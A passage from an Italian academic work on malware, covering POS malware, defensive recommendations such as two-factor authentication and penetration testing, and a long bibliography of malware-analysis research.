livelli utilizzeranno un nome utente e una password comune per tutti i loro sistemi. Tale riutilizzo delle credenziali
può portare rapidamente ad una diffusa violazione anche in località geograficamente distanti.
È importante notare che il malware POS non ha quello che viene definito come un "meccanismo di propagazione."
Non è in grado di muoversi da un sistema all'altro come un worm. Sistemi POS non sono infettati attraverso comuni
punti di ingresso di malware, come ad esempio la navigazione web, visitando un sito infetto o utilizzando i siti di
social media come Facebook. Un utente malintenzionato deve installare intenzionalmente malware POS sul
sistema di destinazione e ha bisogno di privilegi amministrativi, per farlo.
In molti casi, il malware stesso può essere personalizzato per la rete di uno specifico target di ambiente POS.
Considerando tutti questi fattori, è facile capire perché gli autori di malware POS sono in grado di stare un passo
(O due) avanti nella corsa agli armamenti anti-virus. Un altro problema è la corretta attuazione e configurazione di
prodotti anti-virus. In molti casi è risultato che, mentre un anti-virus potrebbe essere stato installato su un
dispositivo, non è stato attivato, non è stato aggiornato o era scaduto.
Conclusione
Gli attacchi che coinvolgono malware POS sono motivati finanziariamente.
XXVI
I criminali informatici sono professionali, e si deve rispondere professionalmente alla gestione della sicurezza dei
dati.
• Deve essere fatta un'opera di valutazione della situazione e dell'ambiente.
• Maggiore informazione e preparazione sul problema malware e altri problemi di protezione dei dati delle
persone coinvolte.
• Applicare password complesse e modificare le password di default .
• Implementare l'autenticazione a due fattori per rafforzare la sicurezza di tutti i canali di accesso remoto.
• Sottoporre regolarmente a test di penetrazione per identificare le vulnerabilità prima che si arrivi alla
compronissione.
• Scansione e protezione dei dati nel database in cui sono conservati.
• Utilizzare un gateway Web protetto (SWG) e un sicuro gateway di posta elettronica (SEG) per evitare il
phishing, spear-phishing e altri attacchi basati su Web.
• Gestire i dati sensibili in un reparto separato non raggiungibile da attività accessibili pubblicamente.
• Sviluppare un piano per rispondere a un eventuale incidente.
§ Paragrafo n . 8
XXVII
Gli strumenti puramente automatizzati non sono considerati APT di per sé, anche se possono
essere utilizzati da un gruppo organizzato e coordinato, come parte di un attacco più ampio
[B-86].
___________________________
XXVIII
11 Bibliografia
[B-2] BACKES, M.,KOPF, B., AND RYBALCHENKO, A. 2009. Automatic discovery and quantifica
tion of information leaks. In Proceedings of the 30th IEEE Symposium on Security and Pri
vacy. IEEE Computer Society, Los Alamitos, CA, 141–153.
[B-5] BAYER, U.,MOSER, A., KR ̈ UGEL, C., AND KIRDA, E. 2006. Dynamic analysis of
malicious code. J. Comput. Virology2, 1, 67–77.
[B-6] BELLARD, F. 2005. QEMU, a fast and portable dynamic translator. In Proceedings of the
FREENIX Track of the USENIX Annual Technical Conference.
[B-7] BUEHLMANN, S. AND LIEBCHEN, C. Joebox: a secure sandbox application for Windows to
analyse the behaviour of malware. http://www.joebox.org/
[B-8] CACHEDA, F. AND VINA A. 2001. Experiencies retrieving information in the World Wide
Web. In Proceedings of the 6th IEEE Symposium on Computers and Communications
(ISCC’01). IEEE Computer Society, 72–79.
[B-9] CAVALLARO, L., SAXENA, P., AND SEKAR, R. 2008. On the limits of information flow tech
niques for malware analysis and containment. In Proceedings of the 5th International Confer
ence on Detection of Intrusions and malware, and Vulnerability Assessment (DIMVA). 143–
163.
[B-10]CHEN, X., ANDERSEN, J., MAO, Z., BAILEY, M., AND NAZARIO, J. 2008. Towards an un
derstanding of anti- virtualization and anti-debugging behavior in modern malware. In Pro
ceedings of the IEEE International Conference on Dependable Systems and Networks With
FTCS and DCC (DSN’08). 177–186.
[B-11] CHRISTODORESCU, M., JHA, S., AND KRUEGEL, C. 2007. Mining specifications of mali
cious behavior. In Proceedings of the 6th Joint Meeting of the European Software Engineering
Conference and the ACM SIGSOFT International Symposium on Foundations of Software En
gineering. 5–14.
[B-12] CHOW, J., PFAFF, B., GARFINKEL, T., CHRISTOPHER, K., AND ROSENBLUM, M. 2004.
Understanding data lifetime via whole system simulation. In Proceedings of the 13th
USENIX Security Symposium.
[B-13] CRANDALL, J. R. AND CHONG, F. T. 2004. Minos: Control data attack prevention orthogon
al to memory model. In Proceedings of the 37th International Symposium on Microarchitec
ture.
[B-14] DANIEL, M., HONOROFF J., AND MILLER C. 2008. Engineering heap overflow exploits
with javascript. In Proceedings of the 2nd USENIX Workshop on Offensive Technologies
(WOOT’08).
XXIX
[B-15] DEBARATI, A., JAINSHANKAR, K. 2011. Cyber Crime and the Victimization of Women:
Laws, Rights and Regulations.
[B-16] EGELE, M., SCHOLTE T., KIRDA E., KRUEGEL C., 2012 .
A Survey on Automated Dynamic malware-Analysis Techniques and Tools
https://iseclab.org/papers/malware_survey.pdf
[B-19] GARFINKEL, T., ADAMS, K., WARFIELD, A., AND FRANKLIN, J. 2007. Compatibility is
Not Transparency: VMM Detection Myths and Realities. In Proceedings of the 11th Workshop
on Hot Topics in Operating Systems (HotOS-XI).
[B-21] GOLDBERG, R. P. 1974. Survey of virtual machine research. IEEE Comput. Mag. June, 34–
45.
[B-22] HALDAR, V., CHANDRA, D., AND FRANZ, M. 2005. Dynamic taint propagation for Java.
In Proceedings of the 21st Annual Computer Security Applications Conference (ACSAC). 303–
311.
[B-22] HUNT, G. AND BRUBACHER, D. 1999. Detours: binary interception of Win32 functions. In
Proceedings of the 3rd USENIX Windows NT Symposium. USENIX Association, Berkeley, CA,
135–143.
[B-23] INOUE, D., YOSHIOKA, K., ETO, M., HOSHIZAWA, Y., AND NAKAO, K. 2008. Malware
behavior analysis in isolated miniature network for revealing malware’s network activity. In
Proceedings of the IEEE International Conference on Communications (ICC).
[B-24] KANICH, C., KREIBICH, C., LEVCHENKO, K., ENRIGHT, B., VOELKER, G. M., PAX
SON, V., AND SAVAGE, S. 2008. Spamalytics: an empirical analysis of spam marketing con
version. In Proceedings of the 15th ACM Conference on Computer and Communications Secur
ity (CCS). 3–14.
[B-25] KIM, H. C., KEROMYTIS, A. D., COVINGTON, M., AND SAHITA, R. 2009. Capturing in
formation flow withconcatenated dynamic taint analysis. In Proceedings of the 1st Internation
al Conference on Availability, Reliability and Security. 355–362.
[B-26] KING, S. T.,CHEN, P. M.,WANG, Y.-M., VERBOWSKI, C.,WANG, H. J., AND LORCH, J.
R. 2006. Subvirt: Implementing malware with virtual machines. In Proceedings of the IEEE
Symposium on Security and Privacy. 314–327.
[B-27] LAU, B. AND SVAJCER, V. 2008. Measuring virtual machine detection in malware using
DSD tracer. J. Comput. Virology.
[B-28] LIGUORI, A. 2010. Qemu snapshot mode. http://wiki.qemu.org/Manual. (Last accessed, 5/10.)
[B-30] MOORE, D., SHANNON, C., AND CLAFFY, K. C. 2002. Code-red: a case study on the
spread and victims of an Internet worm. In Proceedings of the Internet Measurement
Workshop. 273–284.
[B-31]MOORE ,T., ANDERSON ,R. Economics and Internet Security: a Survey of Recent Analytical,
Empirical and Behavioral Research
http://secon.utulsa.edu/pub.html
[B-32] MOORE, T. 2010. The Economics of Cybersecurity: Principles and Policy Options In
the International Journal of Critical Infrastructure Protection, Volume 3, Issues 3-4,
December 2010, Pages 103-117(http://dx.doi.org/10.1016/j.ijcip.2010.10.002).
XXX
[B-33] MOSER, A., KRUEGEL, C., AND KIRDA, E. 2007b. Limits of static analysis for malware de
tection. In Proceedings of the 23rd Annual Computer Security Applications Conference (AC
SAC’07). 421–430.
[B-34] NAIR, S. K., SIMPSON, P. N. D., CRISPO, B., AND TANENBAUM, A. S. 2008. A virtual ma
chine-based information flow control system for policy enforcement. Electron. Notes Theor.
Comput. Sci. 197, 1, 3–16.
[B-35] NANDA, S., LAM, L.-C., AND CHIUEH, T.-C. 2007. Dynamic multi-process information flow
tracking for web application security. In Proceedings of the ACM/IFIP/USENIX Internationl
Conference on Middleware Companion. ACM Press,New York, NY, 1–20.
[B-36] NEBBETT, G. 2000. Windows NT/2000 Native API Reference. New Riders Publishing, Thou
sand Oaks, CA. NEWSOME, J. AND SONG, D. X. 2005. Dynamic taint analysis for automatic
detection, analysis, and signature generation of exploits on commodity software. In Proceed
ings of the 12th AnnualNetwork andDistributed System Security Symposium (NDSS’05).
[B-37] NEWSOME, J. AND SONG, D. X. 2005. Dynamic taint analysis for automatic detection, ana
lysis, and signature generation of exploits on commodity software. In Proceedings of the 12th
Annual Network andDistributed System Security Symposium (NDSS’05).
[B-42] PROVOS, N., MCNAMEE, D., MAVROMMATIS, P., WANG, K., AND MODADUGU, N.
2007. The ghost in the browser: Analysis of web-based malware. In Proceedings of the 1st
Workshop on Hot Topics in Understanding Botnets (HotBots’07).
[B-43] RAFFETSEDER, T., KRUGEL, C., AND KIRDA, E. 2007. Detecting system emulators.
In Proceedings of the 10th International Conference on Information Security (ISC’07). 1–18.
[B-44] RUTKOWSKA, J. 2004. Red Pill... or how to detect VMM using (almost) one CPU instruction.
[B-45] SHARIF, M., LANZI, A., GIFFIN, J., AND LEE, W. 2008. Impeding malware analysis using
conditional code obfuscation. In Proceedings of the 15th Annual Network and Distributed Sys
tem Security Symposium (NDSS’08).
[B-46] SKOUDIS E. Fighting Malicious Code. Skoudis E., Zeltser L., 2003.
[B-47] SLOWINSKA, A. AND BOS, H. 2009. Pointless tainting?: evaluating the practicality of point
er tainting. In Proceedings of the 4th ACM European Conference on Computer Systems
(EuroSys). ACM Press, New York, NY, 61–74. SOTIROV, A. Heap feng shui in javascript.
http://www.phreedom.org/research/heap-feng-shui/heapfengshui.html.
XXXI
[B-50] VASUDEVAN, A. AND YERRABALLI, R. 2005. Stealth breakpoints. In Proceedings of the
21st Annual Computer Security Applications Conference (ACSAC’05). 381–392.
[B-51] VASUDEVAN, A. AND YERRABALLI, R. 2006a. Cobra: fine-grained malware analysis us
ing stealth localized executions. In Proceedings of the IEEE Symposium on Security and
Privacy. 264–279.
[B-53]WANG, Y.-M., ROUSSEV, R., VERBOWSKI, C., JOHNSON, A., WU, M.-W., HUANG, Y.,
AND KUO, S.-Y. 2004. Gatekeeper: Monitoring auto-start extensibility points (ASEPs) for
spyware management. In Proceedings of the 18th USENIX Conference on System Administra
tion. USENIX Association, Berkeley, CA, 33–46.
[B-54] WILLEMS, C.,HOLZ, T., AND FREILING, F. 2007. Toward automated dynamic malware ana
lysis us ing CWSandbox. IEEE Secur. Privacy 5, 2, 32–39.
https://www.ei.rub.de/media/emma/veroeffentlichungen/2012/12/14/CWSandbox-IEEESP2007.pdf
[B-55] XU, J., SUNG, A. H., CHAVEZ, P., AND MUKKAMALA, S. 2004. Polymorphic malicious ex
ecutable scanner by api sequence analysis. In Proceedings of the 4th International Conference
on Hybrid Intelligent Systems.378–383.
[B-56] YIN, H., SONG, D. X., EGELE, M., KRUEGEL, C., AND KIRDA, E. 2007. Panorama:
cap turing system-wide information flow for malware detection and analysis. In Proceed
ings of the ACM Conference on Computer and Communications Security (CCS). 116–127.
[B-57] ZELTSER, L. 2006. Virtual machine detection in malware via commercial tools.
http://isc.sans.org/
[B-58]H. VARIAN, 2004. System reliability and free riding, in Economics of Information Security,
Vol. 12, Advances in Information Security, L. J. Camp, S. Lewis, (Eds.), Kluwer Academic
Publishers, Boston, Massachusetts, pp. 1–15.
[B-59] H. KUNREUTHER and G. HEAL, 2003. Interdependent security, Journal of Risk and Un
certainty, vol. 26(2— 3), pp. 231—249.
[B-60] DINABURG, A., ROYAL, P., SHARIF, M. I., AND LEE, W. 2008. Ether: malware analysis
via hardware virtualization extensions. In Proceedings of the ACM Conference on Computer
and Communications Security (CCS).51–62.
http://ether.gtisc.gatech.edu/index.html
[B-61] MEHTA, N. AND CLOWES, S. 2003. Shiva. advances in ELF binary runtime encryption.
http://www.securereality.com.au/.
[B-63] LABIR, E. 2005. Vx reversing III yellow fever (Griyo 29a). CodeBreakers J. 2, 1.
[B-64] DANILOFF, I. 1997. Virus analysis 3, fighting talk. Virus Bull. J. 10–12.
[B-65] GUO, F., FERRIE, P., AND TZI-CKER CHIUEH. 2008. A Study of the Packer Problem and Its
Solutions. In Proceedings of the 11th International Symposium On Recent Advances In Intru
sion Detection (RAID).
[B-66] KANG, M. G., POOSANKAM, P., AND YIN, H. 2007. Renovo: a hidden code extractor for
packed executables. In Proceedings of the ACM Workshop on Recurring Malcode. ACM Press,
New York, NY, 46–53.
XXXII
[B-67] MARTIGNONI, L., CHRISTODORESCU, M., AND JHA, S. 2007. Omniunpack: fast, generic,
and safe unpacking of malware. In Proceedings of the 23rd Annual Computer Security Applic
ations Conference (ACSAC’07). IEEE Computer Society, Los Alamitos, CA, 431–441.
[B-68] KIRDA, E., KRUEGEL, C., BANKS, G., VIGNA, G., AND KEMMERER, R. A. 2006. Behavi
or-based spyware detection.In Proceedings of the 15th USENIX Security Symposium.
[B-69] HALE LIGH,M., ADAIR, S., HARSTEIN,B., RICHARD,M. 2011. Malware Analyst’s
Cookbook.
[B-70] DOUGAN, T., CURRAN, K., 2012. Man in the Browser Attacks. International Journal of Am
bient Computing and Intelligence, 4(1), 29-39, January-March 2012 29.
[B-71] LITAN, A., ALLAN, A. (2006, September 12). Threats:Man in the Browser. Retrieved April
10, 2011, from Tricipher website:
http://www.tricipher.com/threats/man_in_the_browser.html.
[B-72] GüRING, P. (2006, September 12). Concepts against Man-in-the-Browser Attacks. Retrieved
March 3, 2011, from CAcert.org website: http://www2.futureware.at/svn/sourcerer/CAcert/SecureClient.pdf.
[B-74] MCRC. (2009, July 22). How a cybergang operates a network of 1.9 million infected computers.
Retrieved April 2011, from SecureTweets Blog website:
http://www.finjan.com/SecureTweets/Blog/post/How-a-cybergang-operates-a-network-of-19- million-in
fected-computers.aspx.
[B-75] STEN-GROSS, B., COVA, M., CAVALLARO, L., GILNERT, B.,SZYDLOWSKY M.,
KEMMERER, R., et al. (2009). Your Botnet is My Botnet: Analysis of a Botnet Takeover. Re
trieved April 2, 2011, from Taking over the Torpig botnet website:
http://www.cs.ucsb.edu/~seclab/projects/torpig/torpig.pdf.
[B-76] FALLIERE, N., CHIEN, E. (2009). Zeus: King of the Bots.Retrieved from Security Response
Whitepapers Symantec Corp. website:
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/zeus
_king_of_bots.pdf.
[B-77] ENTRUST. (2010). Defeating Man-in-the-Browser. Retrieved April 3, 2011, from Internet Se
curity and Encryption White Papers website:
http://www.entrust.com/resources/download.cfm/24002/
[B-79] CREMONINI ,M., RICCIARDI M. (2008). The Dorothy Project: inside the Storm An auto
mated platform for botnet analyses. Università degli Studi di Milano.
http://www.honeynet.it/
[B-82] WANG, T., YU, Shun-Zheng (2009). Centralized Botnet Detection by Traffic Aggregation.
IEEE International Symposium on Parallel and Distributed Processing with Applications.
[B-83] Osterman Research White Paper (2014).Best Practices in Email, Web and Social Media Secur
ity.
www.ostermanresearch.com
www.trustwave.com
XXXIII
[B-84] Mark Russinovich's . Sysinternals Blog (now on Technet), “Running Windows with No Ser
vices.”
[B-86] RUSSELL, M. (2012). Advanced Persistent Threads: Difendersi dall' interno (2012). CA Tecno
logies, Security Management.
______________________
XXXIV
12 Riferimenti
[4] Gandotra, E., et al. (2014) malware Analysis and Classification: A Survey. Journal of Information
Security,5, 56-64.
http://dx.doi.org/10.4236/jis.2014.52006
[9] Symantec.
http://www.symantec.com/it/it/
Microsoft security bulletin MS08-067 Critical; vulnerability in server service could allow remote code
execution. http://www.microsoft.com/technet/security/Bulletin/MS08-067.mspx
[11] Chen Liqian : Studi sull'analisi statica del software mediante metodi matematici.
http://lqchen.github.io/chen10phdAbstract.html
http://lqchen.github.io/EMSOFT15_interrupt.pdf
[12] Intel® 64 and IA-32 Architectures Software Developer’s Manual: basic architecture.
http://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-
software-developer-vol-1-manual.pdf
XXXV
[17] Juzt-Reboot tecnology.
http://www.juzt-reboot.com/
[19] Wikipedia.en
https://en.wikipedia.org/wiki/Main_Page
https://it.wikipedia.org/wiki/Pagina_principale
[20] Rootkit
http://steven.altervista.org/files/rootkit.html
XXXVI
[36] The International Secure Systems Lab (iSecLab)
https://iseclab.org
[45] TrustWave
http://www.trustwave.com
[53] A program (and source code) for detection of the trojan by Secure Science:
http://ip.securescience.net/advisories/prgdetect.zip
______________________
XXXVII